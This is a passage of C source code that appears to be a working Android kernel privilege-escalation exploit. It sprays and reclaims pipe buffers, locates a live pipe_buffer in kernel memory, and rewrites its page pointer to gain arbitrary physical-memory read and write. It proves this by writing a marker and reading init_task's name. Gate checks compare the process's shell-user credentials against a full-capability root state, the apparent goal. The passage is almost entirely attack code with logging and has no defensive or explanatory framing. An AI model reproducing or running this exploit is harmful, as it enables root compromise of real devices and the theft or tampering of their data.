(ssize_t)DP_PIPE_OBJECT_BYTES) { printf("PIPE_SCAN_FAIL stage=read object=%d addr=%#llx " "got=%zd errno=%d\n", object_index, (unsigned long long)object_addr, got, errno); free(object); return -1; } if (pipe_cache_gate(bridge_fd, probe)) { printf("PIPE_SCAN_FAIL stage=post_object_gate object=%d\n", object_index); free(object); return -1; } for (size_t offset = 0; offset + sizeof(struct dp_pipe_buffer) <= ring_bytes; offset += sizeof(struct dp_pipe_buffer)) { struct dp_pipe_buffer candidate; unsigned int marker_index; int readable = -1; memcpy(&candidate, object + offset, sizeof(candidate)); if (candidate.page < DP_VMEMMAP_START || candidate.page >= map_end || (candidate.page & (DP_STRUCT_PAGE_SIZE - 1))) continue; page_candidates++; if (candidate.ops != expected_ops) continue; ops_candidates++; if (candidate.offset || candidate.length < DP_PIPE_MARKER_BASE || candidate.length >= DP_PIPE_MARKER_BASE + pipe_reclaim_count || candidate.flags != DP_PIPE_BUF_CAN_MERGE || candidate.private) continue; marker_candidates++; marker_index = candidate.length - DP_PIPE_MARKER_BASE; if (ioctl(probe->reclaim[marker_index][0], FIONREAD, &readable) || readable != (int)candidate.length) continue; matches++; printf("PIPE_SCAN_MATCH object=%d offset=%#zx addr=%#llx " "index=%u len=%u page=%#llx ops=%#llx\n", object_index, offset, (unsigned long long)(object_addr + offset), marker_index, candidate.length, (unsigned long long)candidate.page, (unsigned long long)candidate.ops); if (probe->pipe_index < 0) { probe->pipe_index = (int)marker_index; probe->pipe_buffer_addr = object_addr + offset; probe->canonical = candidate; } } } free(object); printf("PIPE_SCAN_SUMMARY pages=%d ops=%d markers=%d matches=%d " "selected=%d addr=%#llx\n", page_candidates, ops_candidates, marker_candidates, matches, probe->pipe_index, (unsigned long long)probe->pipe_buffer_addr); if (!matches || probe->pipe_index < 0) return -1; return 0; } static int bind_live_pipe_buffer(int bridge_fd, struct pipe_reclaim_probe *probe) { struct dp_pipe_buffer before = {0}; struct dp_pipe_buffer after = {0}; unsigned char marker = SPRAY_MARKER; int readable = -1; ssize_t wrote; if (probe->meta_state != PIPE_META_NATIVE) return -2; if (probe->pipe_index < 0 || bridge_read_once(bridge_fd, probe->pipe_buffer_addr, &before, sizeof(before)) != (ssize_t)sizeof(before) || memcmp(&before, &probe->canonical, sizeof(before))) { printf("PIPE_BIND_FAIL stage=before index=%d errno=%d\n", probe->pipe_index, errno); return -1; } probe->meta_state = PIPE_META_UNKNOWN; wrote = write(probe->reclaim[probe->pipe_index][1], &marker, sizeof(marker)); if (wrote != (ssize_t)sizeof(marker) || bridge_read_once(bridge_fd, probe->pipe_buffer_addr, &after, sizeof(after)) != (ssize_t)sizeof(after) || after.page != before.page || after.offset != before.offset || after.length != before.length + 1 || after.ops != before.ops || after.flags != before.flags || after.padding != before.padding || after.private != before.private || ioctl(probe->reclaim[probe->pipe_index][0], FIONREAD, &readable) || readable != (int)after.length) { struct dp_pipe_buffer restored = {0}; if (bridge_write_once(bridge_fd, probe->pipe_buffer_addr, &before, sizeof(before)) != (ssize_t)sizeof(before) || bridge_read_once(bridge_fd, probe->pipe_buffer_addr, &restored, sizeof(restored)) != (ssize_t)sizeof(restored) || ioctl(probe->reclaim[probe->pipe_index][0], FIONREAD, &readable) || memcmp(&restored, &before, sizeof(restored)) || readable != (int)before.length) return -2; probe->canonical = before; probe->meta_state = PIPE_META_NATIVE; return -1; } probe->canonical = after; probe->meta_state = PIPE_META_NATIVE; printf("PIPE_BIND_PASS addr=%#llx index=%d len=%u->%u " "readable=%d\n", (unsigned long long)probe->pipe_buffer_addr, probe->pipe_index, before.length, after.length, readable); return 0; } static int prepare_pipe_reclaim(int bridge_fd, struct pipe_reclaim_probe *probe) { unsigned char marker[DP_PIPE_MARKER_BASE + DP_PIPE_RECLAIM_MAX]; int i; if (!probe->carrier.base || probe->carrier.sockets[0] < 0 || probe->carrier.sockets[1] < 0) { printf("PIPE_PREP_FAIL stage=carrier_state base=%#llx\n", (unsigned long long)probe->carrier.base); return -1; } probe->base = probe->carrier.base; printf("PIPE_CARRIER_READY base=%#llx\n", (unsigned long long)probe->base); for (i = 0; i < DP_PIPE_DRAIN_COUNT; i++) { if (make_small_pipe(probe->drain[i])) { printf("PIPE_PREP_FAIL stage=small_drain index=%d errno=%d\n", i, errno); return -1; } } for (i = 0; i < pipe_reclaim_count; i++) { if (make_small_pipe(probe->reclaim[i])) { printf("PIPE_PREP_FAIL stage=small_reclaim index=%d " "errno=%d\n", i, errno); return -1; } } if (try_pin_cpu(0)) { printf("PIPE_PREP_FAIL stage=pin_cpu errno=%d\n", errno); return -1; } for (i = 0; i < DP_PIPE_DRAIN_COUNT; i++) { if (grow_pipe_ring(probe->drain[i])) { printf("PIPE_PREP_FAIL stage=grow_drain index=%d errno=%d\n", i, errno); return -1; } } close_fd_pair(probe->carrier.sockets); printf("PIPE_CARRIER_RELEASED base=%#llx drain=%d\n", (unsigned long long)probe->base, DP_PIPE_DRAIN_COUNT); for (i = 0; i < pipe_reclaim_count; i++) { if (grow_pipe_ring(probe->reclaim[i])) { printf("PIPE_PREP_FAIL stage=grow_reclaim index=%d " "errno=%d\n", i, errno); return -1; } } memset(marker, 0x50, sizeof(marker)); for (i = 0; i < pipe_reclaim_count; i++) { size_t length = DP_PIPE_MARKER_BASE + (unsigned int)i; ssize_t wrote = write(probe->reclaim[i][1], marker, length); if (wrote != (ssize_t)length) { printf("PIPE_PREP_FAIL stage=marker index=%d wrote=%zd " "want=%zu errno=%d\n", i, wrote, length, errno); return -1; } } if (pipe_cache_gate(bridge_fd, probe)) return -2; if (find_live_pipe_buffer(bridge_fd, probe)) return -1; { int result = bind_live_pipe_buffer(bridge_fd, probe); if (result) return result; } if (pipe_cache_gate(bridge_fd, probe)) return -2; printf("PIPE_RECLAIM_PASS base=%#llx page=%#llx pipebuf=%#llx " "index=%d len=%u\n", (unsigned long long)probe->base, (unsigned long long)probe->page_desc, (unsigned long long)probe->pipe_buffer_addr, probe->pipe_index, probe->canonical.length); return 0; } static int read_pipe_buffer_state(int bridge_fd, const struct pipe_reclaim_probe *probe, struct dp_pipe_buffer *buffer, int *readable) { if (bridge_read_once(bridge_fd, probe->pipe_buffer_addr, buffer, sizeof(*buffer)) != (ssize_t)sizeof(*buffer) || ioctl(probe->reclaim[probe->pipe_index][0], FIONREAD, readable)) return -1; return 0; } static int canonicalize_pipe_buffer(int bridge_fd, struct pipe_reclaim_probe *probe) { struct dp_pipe_buffer before; struct dp_pipe_buffer expected; struct dp_pipe_buffer after; unsigned char *drain; size_t drain_length; ssize_t got; int readable = -1; if (probe->meta_state != PIPE_META_NATIVE) return -2; if (read_pipe_buffer_state(bridge_fd, probe, &before, &readable) || memcmp(&before, &probe->canonical, sizeof(before)) || readable != (int)before.length || before.length < 2 || before.ops != LINK_ANON_PIPE_BUF_OPS + kernel_slide || before.flags != DP_PIPE_BUF_CAN_MERGE) { printf("PIPE_CANONICAL_FAIL stage=before length=%u readable=%d " "errno=%d\n", before.length, readable, errno); return -1; } drain_length = before.length - 1; drain = malloc(drain_length); if (!drain) return -1; probe->meta_state = PIPE_META_UNKNOWN; got = read(probe->reclaim[probe->pipe_index][0], drain, drain_length); if (got != (ssize_t)drain_length) return -2; expected = before; expected.offset += (uint32_t)drain_length; expected.length = 1; if (read_pipe_buffer_state(bridge_fd, probe, &after, &readable) || memcmp(&after, &expected, sizeof(after)) || readable != 1) return -2; probe->canonical = after; probe->meta_state = PIPE_META_NATIVE; free(drain); printf("PIPE_CANONICAL_PASS addr=%#llx index=%d offset=%u length=%u\n", (unsigned long long)probe->pipe_buffer_addr, probe->pipe_index, after.offset, after.length); return 0; } static int restore_pipe_buffer(int bridge_fd, struct pipe_reclaim_probe *probe) { struct dp_pipe_buffer observed; int readable = -1; probe->meta_state = PIPE_META_UNKNOWN; if (bridge_write_once(bridge_fd, probe->pipe_buffer_addr, &probe->canonical, sizeof(probe->canonical)) != (ssize_t)sizeof(probe->canonical) || read_pipe_buffer_state(bridge_fd, probe, &observed, &readable) || memcmp(&observed, &probe->canonical, sizeof(observed)) || readable != 1) return -2; probe->meta_state = PIPE_META_NATIVE; return 0; } static int install_temporary_pipe_buffer(int bridge_fd, struct pipe_reclaim_probe *probe, const struct dp_pipe_buffer *temporary) { struct dp_pipe_buffer observed; int readable = -1; int result = 0; if (probe->meta_state != PIPE_META_NATIVE) return -2; if (read_pipe_buffer_state(bridge_fd, probe, &observed, &readable) || memcmp(&observed, &probe->canonical, sizeof(observed)) || readable != 1) { probe->meta_state = PIPE_META_UNKNOWN; return -2; } probe->meta_state = PIPE_META_UNKNOWN; if (bridge_write_once(bridge_fd, probe->pipe_buffer_addr, temporary, sizeof(*temporary)) != (ssize_t)sizeof(*temporary) || bridge_read_once(bridge_fd, probe->pipe_buffer_addr, &observed, sizeof(observed)) != (ssize_t)sizeof(observed) || memcmp(&observed, temporary, sizeof(observed))) { result = -1; } if (!result) probe->meta_state = PIPE_META_TEMPORARY; if (result && restore_pipe_buffer(bridge_fd, probe)) return -2; return result; } static int load_physical_layout(int bridge_fd, struct physical_layout *layout) { uint64_t runtime_image = LINK_IMAGE_BASE + kernel_slide; uint64_t image_phys; memset(layout, 0, sizeof(*layout)); if (bridge_read64(bridge_fd, LINK_MEMSTART_ADDR + kernel_slide, &layout->memstart_addr) || bridge_read64(bridge_fd, LINK_KIMAGE_VOFFSET + kernel_slide, &layout->kimage_voffset) || !layout->memstart_addr || (layout->memstart_addr & (0x1000 - 1)) || (layout->kimage_voffset & (0x1000 - 1)) || runtime_image < layout->kimage_voffset) { printf("PHYS_LAYOUT_FAIL memstart=%#llx kimage_voffset=%#llx " "errno=%d\n", (unsigned long long)layout->memstart_addr, (unsigned long long)layout->kimage_voffset, errno); return -1; } image_phys = runtime_image - layout->kimage_voffset; if (image_phys < layout->memstart_addr || image_phys - layout->memstart_addr >= DIRECT_MAP_END - DIRECT_MAP_BEGIN) { printf("PHYS_LAYOUT_FAIL stage=image_range image_phys=%#llx\n", (unsigned long long)image_phys); return -1; } printf("PHYS_LAYOUT_PASS memstart=%#llx kimage_voffset=%#llx " "image_phys=%#llx\n", (unsigned long long)layout->memstart_addr, (unsigned long long)layout->kimage_voffset, (unsigned long long)image_phys); return 0; } static int kernel_virtual_to_physical(const struct physical_layout *layout, uint64_t virtual_address, uint64_t *physical_address) { uint64_t address = untag_kernel_pointer(virtual_address); uint64_t runtime_image_begin = LINK_IMAGE_BASE + kernel_slide; uint64_t runtime_image_end = LINK_END + kernel_slide; uint64_t physical; if (address >= DIRECT_MAP_BEGIN && address < DIRECT_MAP_END) { physical = layout->memstart_addr + address - DIRECT_MAP_BEGIN; } else if (address >= runtime_image_begin && address < runtime_image_end && address >= layout->kimage_voffset) { physical = address - layout->kimage_voffset; } else { return -1; } if (physical < layout->memstart_addr || physical - layout->memstart_addr >= DIRECT_MAP_END - DIRECT_MAP_BEGIN) return -1; *physical_address = physical; return 0; } static int physical_to_page_desc(const struct physical_layout *layout, uint64_t physical_address, uint64_t *page_desc, uint32_t *page_offset) { uint64_t delta; if (physical_address < layout->memstart_addr) return -1; delta = physical_address - layout->memstart_addr; if (delta >= DIRECT_MAP_END - DIRECT_MAP_BEGIN) return -1; *page_desc = DP_VMEMMAP_START + (delta / 0x1000) * DP_STRUCT_PAGE_SIZE; *page_offset = (uint32_t)(physical_address & (0x1000 - 1)); return 0; } static int pipe_physical_read_chunk(int bridge_fd, struct pipe_reclaim_probe *probe, const struct physical_layout *layout, uint64_t physical_address, void *output, size_t length) { struct dp_pipe_buffer temporary = probe->canonical; uint64_t page_desc; uint32_t page_offset; ssize_t got; int saved_errno; int result; unsigned int sequence; if (!length || length > 0x1000 || physical_to_page_desc(layout, physical_address, &page_desc, &page_offset) || length > 0x1000 - page_offset) return -1; temporary.page = page_desc; temporary.offset = page_offset; temporary.length = (uint32_t)length + 1; sequence = ++probe->transaction_sequence; result = install_temporary_pipe_buffer(bridge_fd, probe, &temporary); if (result) return result; errno = 0; got = read(probe->reclaim[probe->pipe_index][0], output, length); saved_errno = errno; result = restore_pipe_buffer(bridge_fd, probe); if (result) return result; if (probe->transaction_log) printf("PHYS_TXN_RESTORED seq=%u op=read phys=%#llx length=%zu " "ret=%zd syscall_errno=%d restored=1\n", sequence, (unsigned long long)physical_address, length, got, saved_errno); if (got != (ssize_t)length) { errno = saved_errno; if (probe->transaction_log) printf("PHYS_READ_FAIL phys=%#llx got=%zd want=%zu " "errno=%d\n", (unsigned long long)physical_address, got, length, errno); return -1; } return 0; } static int pipe_physical_write_chunk(int bridge_fd, struct pipe_reclaim_probe *probe, const struct physical_layout *layout, uint64_t physical_address, const void *input, size_t length) { struct dp_pipe_buffer temporary = probe->canonical; uint64_t page_desc; uint32_t page_offset; ssize_t wrote; int saved_errno; int result; unsigned int sequence; if (!length || length >= 0x1000 || physical_to_page_desc(layout, physical_address, &page_desc, &page_offset) || length > 0x1000 - page_offset) return -1; temporary.page = page_desc; temporary.offset = page_offset; temporary.length = 0; sequence = ++probe->transaction_sequence; result = install_temporary_pipe_buffer(bridge_fd, probe, &temporary); if (result) return result; errno = 0; wrote = write(probe->reclaim[probe->pipe_index][1], input, length); saved_errno = errno; if (wrote > 0 && wrote != (ssize_t)length) { probe->meta_state = PIPE_META_UNKNOWN; errno = saved_errno; return -2; } result = restore_pipe_buffer(bridge_fd, probe); if (result) return result; if (probe->transaction_log) printf("PHYS_TXN_RESTORED seq=%u op=write phys=%#llx length=%zu " "ret=%zd syscall_errno=%d restored=1\n", sequence, (unsigned long long)physical_address, length, wrote, saved_errno); if (wrote != (ssize_t)length) { errno = saved_errno; if (probe->transaction_log) printf("PHYS_WRITE_FAIL phys=%#llx wrote=%zd want=%zu " "errno=%d\n", (unsigned long long)physical_address, wrote, length, errno); return -1; } return 0; } static int pipe_physical_read(int bridge_fd, struct pipe_reclaim_probe *probe, const struct physical_layout *layout, uint64_t physical_address, void *output, size_t length) { unsigned char *cursor = output; while (length) { size_t chunk = 0x1000 - (physical_address & (0x1000 - 1)); int result; if (chunk > length) chunk = length; result = pipe_physical_read_chunk(bridge_fd, probe, layout, physical_address, cursor, chunk); if (result) return result; physical_address += chunk; cursor += chunk; length -= chunk; } return 0; } static int pipe_physical_write(int bridge_fd, struct pipe_reclaim_probe *probe, const struct physical_layout *layout, uint64_t physical_address, const void *input, size_t length) { const unsigned char *cursor = input; while (length) { size_t chunk = 0x1000 - (physical_address & (0x1000 - 1)); int result; if (chunk > length) chunk = length; if (chunk >= 0x1000) chunk = 0x1000 - 1; result = pipe_physical_write_chunk(bridge_fd, probe, layout, physical_address, cursor, chunk); if (result) return result; physical_address += chunk; cursor += chunk; length -= chunk; } return 0; } static int run_physical_rw_probe(int bridge_fd, struct controlled_page *page, struct pipe_reclaim_probe *probe) { const uint64_t marker_mask = NEBUSEC_MAGIC; struct physical_layout layout; unsigned char target_pages_before[2 * DP_STRUCT_PAGE_SIZE]; unsigned char target_pages_after[2 * DP_STRUCT_PAGE_SIZE]; unsigned char pipe_page_before[DP_STRUCT_PAGE_SIZE]; unsigned char pipe_page_after[DP_STRUCT_PAGE_SIZE]; unsigned char image_page_before[DP_STRUCT_PAGE_SIZE]; unsigned char image_page_after[DP_STRUCT_PAGE_SIZE]; char image_comm[DP_TASK_COMM_LEN]; char bridge_comm[DP_TASK_COMM_LEN]; uint64_t scratch_virtual = untag_kernel_pointer(page->base) + DP_PHYS_PROOF_OFF; uint64_t image_virtual = LINK_INIT_TASK + kernel_slide + DP_TASK_COMM_OFF; uint64_t scratch_physical; uint64_t image_physical; uint64_t target_page_desc; uint64_t controlled_head_desc; uint64_t image_page_desc; uint32_t target_page_offset; uint32_t image_page_offset; uint64_t page_flags[2] = {0}; uint64_t compound_heads[2] = {0}; uint64_t image_page_flags = 0; uint64_t baseline = 0; uint64_t pipe_value = 0; uint64_t bridge_value = 0; uint64_t marker; int marker_written = 0; int proof_result = -1; int result = -1; result = canonicalize_pipe_buffer(bridge_fd, probe); if (result) return result; if (load_physical_layout(bridge_fd, &layout) || kernel_virtual_to_physical(&layout, scratch_virtual, &scratch_physical) || kernel_virtual_to_physical(&layout, image_virtual, &image_physical) || physical_to_page_desc(&layout, scratch_physical, &target_page_desc, &target_page_offset) || physical_to_page_desc(&layout, image_physical, &image_page_desc, &image_page_offset) || bridge_read64(bridge_fd, scratch_virtual, &baseline) || bridge_read_once(bridge_fd, target_page_desc, target_pages_before, sizeof(target_pages_before)) != (ssize_t)sizeof(target_pages_before) || bridge_read_once(bridge_fd, probe->canonical.page, pipe_page_before, sizeof(pipe_page_before)) != (ssize_t)sizeof(pipe_page_before) || bridge_read_once(bridge_fd, image_page_desc, image_page_before, sizeof(image_page_before)) != (ssize_t)sizeof(image_page_before) || bridge_read64(bridge_fd, image_page_desc + DP_PAGE_FLAGS_OFF, &image_page_flags) || bridge_read64(bridge_fd, target_page_desc + DP_PAGE_FLAGS_OFF, &page_flags[0]) || bridge_read64(bridge_fd, target_page_desc + DP_STRUCT_PAGE_SIZE + DP_PAGE_FLAGS_OFF, &page_flags[1]) || bridge_read64(bridge_fd, target_page_desc + DP_PAGE_COMPOUND_HEAD_OFF, &compound_heads[0]) || bridge_read64(bridge_fd, target_page_desc + DP_STRUCT_PAGE_SIZE + DP_PAGE_COMPOUND_HEAD_OFF, &compound_heads[1])) { printf("PHYS_PROBE_FAIL stage=setup errno=%d\n", errno); return -1; } controlled_head_desc = direct_to_page_desc(untag_kernel_pointer(page->base)); if (!controlled_head_desc || target_page_desc != controlled_head_desc + (DP_PHYS_PROOF_OFF / 0x1000) * DP_STRUCT_PAGE_SIZE || target_page_offset != 0x1000 - 4 || compound_heads[0] != (controlled_head_desc | UINT64_C(1)) || compound_heads[1] != (controlled_head_desc | UINT64_C(1))) { printf("PHYS_PROBE_FAIL stage=target_page_gate head=%#llx " "target=%#llx compound=%#llx/%#llx offset=%#x\n", (unsigned long long)controlled_head_desc, (unsigned long long)target_page_desc, (unsigned long long)compound_heads[0], (unsigned long long)compound_heads[1], target_page_offset); return -1; } printf("PHYS_PAGE_GATE role=target0 virtual=%#llx physical=%#llx " "page=%#llx offset=%#x flags=%#llx compound=%#llx " "hw_tag=%#llx\n", (unsigned long long)scratch_virtual, (unsigned long long)scratch_physical, (unsigned long long)target_page_desc, target_page_offset, (unsigned long long)page_flags[0], (unsigned long long)compound_heads[0], (unsigned long long)(((page_flags[0] >> 54) & 0xff) ^ 0xff)); printf("PHYS_PAGE_GATE role=target1 physical=%#llx page=%#llx " "flags=%#llx compound=%#llx hw_tag=%#llx\n", (unsigned long long)((scratch_physical & ~(0x1000 - 1)) + 0x1000), (unsigned long long)(target_page_desc + DP_STRUCT_PAGE_SIZE), (unsigned long long)page_flags[1], (unsigned long long)compound_heads[1], (unsigned long long)(((page_flags[1] >> 54) & 0xff) ^ 0xff)); printf("PHYS_PAGE_GATE role=pipe page=%#llx\n", (unsigned long long)probe->canonical.page); printf("PHYS_PAGE_GATE role=image physical=%#llx page=%#llx " "offset=%#x flags=%#llx hw_tag=%#llx\n", (unsigned long long)image_physical, (unsigned long long)image_page_desc, image_page_offset, (unsigned long long)image_page_flags, (unsigned long long)(((image_page_flags >> 54) & 0xff) ^ 0xff)); result = pipe_physical_read(bridge_fd, probe, &layout, scratch_physical, &pipe_value, sizeof(pipe_value)); if (result) goto out; if (pipe_value != baseline) { printf("PHYS_PROBE_FAIL stage=baseline pipe=%#llx bridge=%#llx\n", (unsigned long long)pipe_value, (unsigned long long)baseline); result = -1; goto out; } printf("PHYS_READ_PASS virtual=%#llx physical=%#llx value=%#llx\n", (unsigned long long)scratch_virtual, (unsigned long long)scratch_physical, (unsigned long long)pipe_value); marker = baseline ^ marker_mask; marker_written = 1; result = pipe_physical_write(bridge_fd, probe, &layout, scratch_physical, &marker, sizeof(marker)); if (result) goto out; result = pipe_physical_read(bridge_fd, probe, &layout, scratch_physical, &pipe_value, sizeof(pipe_value)); if (result || bridge_read64(bridge_fd, scratch_virtual, &bridge_value) || pipe_value != marker || bridge_value != marker) { printf("PHYS_PROBE_FAIL stage=marker pipe=%#llx bridge=%#llx " "expected=%#llx errno=%d\n", (unsigned long long)pipe_value, (unsigned long long)bridge_value, (unsigned long long)marker, errno); if (!result) result = -1; goto out; } printf("PHYS_WRITE_PASS virtual=%#llx physical=%#llx value=%#llx\n", (unsigned long long)scratch_virtual, (unsigned long long)scratch_physical, (unsigned long long)marker); result = 0; out: if (result == -2) return -2; if (marker_written) { int restore_result = pipe_physical_write(bridge_fd, probe, &layout, scratch_physical, &baseline, sizeof(baseline)); if (restore_result == -2) return -2; if (restore_result) { printf("PHYS_PROBE_FAIL stage=data_restore errno=%d\n", errno); if (bridge_write64(bridge_fd, scratch_virtual, baseline)) return -2; result = -1; } pipe_value = 0; bridge_value = 0; int verify_result = pipe_physical_read(bridge_fd, probe, &layout, scratch_physical, &pipe_value, sizeof(pipe_value)); if (verify_result == -2) return -2; if (verify_result || bridge_read64(bridge_fd, scratch_virtual, &bridge_value) || pipe_value != baseline || bridge_value != baseline) return -2; printf("PHYS_RESTORE_PASS virtual=%#llx value=%#llx\n", (unsigned long long)scratch_virtual, (unsigned long long)baseline); } proof_result = result; if (!proof_result) { result = pipe_physical_read(bridge_fd, probe, &layout, image_physical, image_comm, sizeof(image_comm)); if (result == -2) return -2; if (result || bridge_read_once(bridge_fd, image_virtual, bridge_comm, sizeof(bridge_comm)) != (ssize_t)sizeof(bridge_comm) || memcmp(image_comm, bridge_comm, sizeof(image_comm)) || memcmp(image_comm, "swapper/0", sizeof("swapper/0") - 1) || !memchr(image_comm, '\0', sizeof(image_comm))) { printf("PHYS_PROBE_FAIL stage=image_read errno=%d\n", errno); proof_result = -1; } else { printf("PHYS_IMAGE_READ_PASS virtual=%#llx physical=%#llx " "comm=%s\n", (unsigned long long)image_virtual, (unsigned long long)image_physical, image_comm); } } if (bridge_read_once(bridge_fd, target_page_desc, target_pages_after, sizeof(target_pages_after)) != (ssize_t)sizeof(target_pages_after) || bridge_read_once(bridge_fd, probe->canonical.page, pipe_page_after, sizeof(pipe_page_after)) != (ssize_t)sizeof(pipe_page_after) || bridge_read_once(bridge_fd, image_page_desc, image_page_after, sizeof(image_page_after)) != (ssize_t)sizeof(image_page_after) || memcmp(target_pages_before, target_pages_after, sizeof(target_pages_before)) || memcmp(pipe_page_before, pipe_page_after, sizeof(pipe_page_before)) || memcmp(image_page_before, image_page_after, sizeof(image_page_before))) return -2; if (pipe_cache_gate(bridge_fd, probe)) return -2; printf("PHYS_METADATA_PASS target_page=%#llx pipe_page=%#llx " "image_page=%#llx\n", (unsigned long long)target_page_desc, (unsigned long long)probe->canonical.page, (unsigned long long)image_page_desc); return proof_result; } static uint32_t load_u32(const unsigned char *buffer, size_t offset) { uint32_t value; memcpy(&value, buffer + offset, sizeof(value)); return value; } static uint64_t load_u64(const unsigned char *buffer, size_t offset) { uint64_t value; memcpy(&value, buffer + offset, sizeof(value)); return value; } static int read_text_path(const char *path, char *output, size_t capacity) { ssize_t length; int fd; if (capacity < 2) return -1; fd = open(path, O_RDONLY | O_CLOEXEC); if (fd < 0) return -1; do { length = read(fd, output, capacity - 1); } while (length < 0 && errno == EINTR); close(fd); if (length <= 0 || (size_t)length >= capacity) return -1; output[length] = '\0'; while (length > 0 && (output[length - 1] == '\n' || output[length - 1] == '\0')) output[--length] = '\0'; return 0; } static int read_self_nspid(pid_t *global_pid, pid_t *local_pid, int *depth) { char line[512]; FILE *stream = fopen("/proc/self/status", "r"); long status_pid = -1; long status_tgid = -1; long nspid_first = -1; long nspid_last = -1; int nspid_count = 0; int result = -1; if (!stream) return -1; while (fgets(line, sizeof(line), stream)) { char *cursor = NULL; long *scalar = NULL; if (!strncmp(line, "Pid:", 4)) { cursor = line + 4; scalar = &status_pid; } else if (!strncmp(line, "Tgid:", 5)) { cursor = line + 5; scalar = &status_tgid; } else if (!strncmp(line, "NSpid:", 6)) { cursor = line + 6; } else { continue; } if (scalar) { char *end; long value; while (*cursor == ' ' || *cursor == '\t') cursor++; errno = 0; value = strtol(cursor, &end, 10); if (errno || end == cursor || value <= 0 || value > INT32_MAX) goto out; *scalar = value; continue; } for (;;) { char *end; long value; while (*cursor == ' ' || *cursor == '\t') cursor++; if (*cursor == '\0' || *cursor == '\n') break; errno = 0; value = strtol(cursor, &end, 10); if (errno || end == cursor || value <= 0 || value > INT32_MAX || nspid_count == INT32_MAX) goto out; if (!nspid_count) nspid_first = value; nspid_last = value; nspid_count++; cursor = end; } if (!nspid_count) goto out; } if (nspid_count) { if (status_pid != nspid_last || status_tgid != status_pid) goto out; *global_pid = (pid_t)nspid_first; *local_pid = (pid_t)nspid_last; *depth = nspid_count; result = 0; } else if (status_pid > 0 && status_tgid == status_pid) { struct stat self_namespace; struct stat init_namespace; int self_result; int self_errno; int init_result; int init_errno; errno = 0; self_result = stat("/proc/self/ns/pid", &self_namespace); self_errno = errno; errno = 0; init_result = stat("/proc/1/ns/pid", &init_namespace); init_errno = errno; if ((!self_result && !init_result && (self_namespace.st_dev != init_namespace.st_dev || self_namespace.st_ino != init_namespace.st_ino)) || ((self_result || init_result) && (self_result != -1 || init_result != -1 || self_errno != ENOENT || init_errno != ENOENT))) goto out; /* The physical task scan later proves this raw PID is global. */ errno = 0; *global_pid = (pid_t)status_pid; *local_pid = (pid_t)status_pid; *depth = 1; result = 0; } out: fclose(stream); return result; } static int capture_credential_syscall_state(struct user_security_state *state) { struct __user_cap_header_struct header = { .version = _LINUX_CAPABILITY_VERSION_3, .pid = 0, }; struct __user_cap_data_struct data[_LINUX_CAPABILITY_U32S_3]; uid_t ruid; uid_t euid; uid_t suid; gid_t rgid; gid_t egid; gid_t sgid; int count; memset(state, 0, sizeof(*state)); memset(data, 0, sizeof(data)); state->local_pid = (pid_t)syscall(SYS_getpid); if (state->local_pid <= 0 || syscall(SYS_getresuid, &ruid, &euid, &suid) || syscall(SYS_getresgid, &rgid, &egid, &sgid)) return -1; state->uid = ruid; state->euid = euid; state->suid = suid; state->fsuid = (uid_t)syscall(SYS_setfsuid, (uid_t)-1); state->gid = rgid; state->egid = egid; state->sgid = sgid; state->fsgid = (gid_t)syscall(SYS_setfsgid, (gid_t)-1); count = (int)syscall(SYS_getgroups, 0, NULL); if (count < 0 || count > (int)ARRAY_SIZE(state->groups)) return -1; state->group_count = count; if (count && syscall(SYS_getgroups, count, state->groups) != count) return -1; if (syscall(SYS_capget, &header, data)) return -1; state->cap_inheritable = data[0].inheritable | ((uint64_t)data[1].inheritable << 32); state->cap_permitted = data[0].permitted | ((uint64_t)data[1].permitted << 32); state->cap_effective = data[0].effective | ((uint64_t)data[1].effective << 32); for (int capability = 0; capability <= 40; capability++) { int bounded = (int)syscall(SYS_prctl, PR_CAPBSET_READ, capability, 0, 0, 0); int ambient = (int)syscall(SYS_prctl, PR_CAP_AMBIENT, PR_CAP_AMBIENT_IS_SET, capability, 0, 0); if (bounded < 0 || ambient < 0) return -1; if (bounded) state->cap_bounding |= UINT64_C(1) << capability; if (ambient) state->cap_ambient |= UINT64_C(1) << capability; } state->securebits = (int)syscall(SYS_prctl, PR_GET_SECUREBITS, 0, 0, 0, 0); state->no_new_privs = (int)syscall(SYS_prctl, PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0); state->seccomp = (int)syscall(SYS_prctl, PR_GET_SECCOMP, 0, 0, 0, 0); if (state->securebits < 0 || state->no_new_privs < 0 || state->seccomp < 0) return -1; return 0; } static int capture_user_security_state(struct user_security_state *state) { char enforcing[8]; if (capture_credential_syscall_state(state) || read_self_nspid(&state->global_pid, &state->local_pid, &state->nspid_depth) || read_text_path("/proc/self/attr/current", state->context, sizeof(state->context)) || read_text_path("/sys/fs/selinux/enforce", enforcing, sizeof(enforcing))) return -1; state->enforcing = !strcmp(enforcing, "1") ? 1 : 0; return 0; } static int user_security_state_equal(const struct user_security_state *left, const struct user_security_state *right) { return !memcmp(left, right, sizeof(*left)); } static int shell_security_gate(const struct user_security_state *state) { return state->uid == 2000 && state->euid == 2000 && state->suid == 2000 && state->fsuid == 2000 && state->gid == 2000 && state->egid == 2000 && state->sgid == 2000 && state->fsgid == 2000 && state->local_pid == getpid() && state->global_pid == state->local_pid && state->nspid_depth == 1 && !state->no_new_privs && !state->seccomp && state->enforcing == 1 && !strcmp(state->context, "u:r:shell:s0"); } static int root_shell_security_gate(const struct user_security_state *state, const struct user_security_state *baseline) { return !state->uid && !state->euid && !state->suid && !state->fsuid && !state->gid && !state->egid && !state->sgid && !state->fsgid && state->group_count == baseline->group_count && !memcmp(state->groups, baseline->groups, (size_t)state->group_count * sizeof(state->groups[0])) && !state->cap_inheritable && state->cap_permitted == DP_FULL_CAP_MASK && state->cap_effective == DP_FULL_CAP_MASK && state->cap_bounding == DP_FULL_CAP_MASK && !state->cap_ambient && !state->securebits && !state->no_new_privs && !state->seccomp && state->local_pid == getpid() && state->global_pid == state->local_pid && state->nspid_depth == 1 && state->enforcing == 1 && !strcmp(state->context, "u:r:shell:s0"); } static int renew_identical_cred(const struct user_security_state *state) { struct __user_cap_header_struct header = { .version = _LINUX_CAPABILITY_VERSION_3, .pid = 0, }; struct __user_cap_data_struct data[_LINUX_CAPABILITY_U32S_3] = {0}; data[0].inheritable = (uint32_t)state->cap_inheritable; data[1].inheritable = (uint32_t)(state->cap_inheritable >> 32); data[0].permitted = (uint32_t)state->cap_permitted; data[1].permitted = (uint32_t)(state->cap_permitted >> 32); data[0].effective = (uint32_t)state->cap_effective; data[1].effective = (uint32_t)(state->cap_effective >> 32); return syscall(SYS_capset, &header, data) ? -1 : 0; } static int count_self_threads(void) { struct dirent *entry; DIR *directory = opendir("/proc/self/task"); int count = 0; if 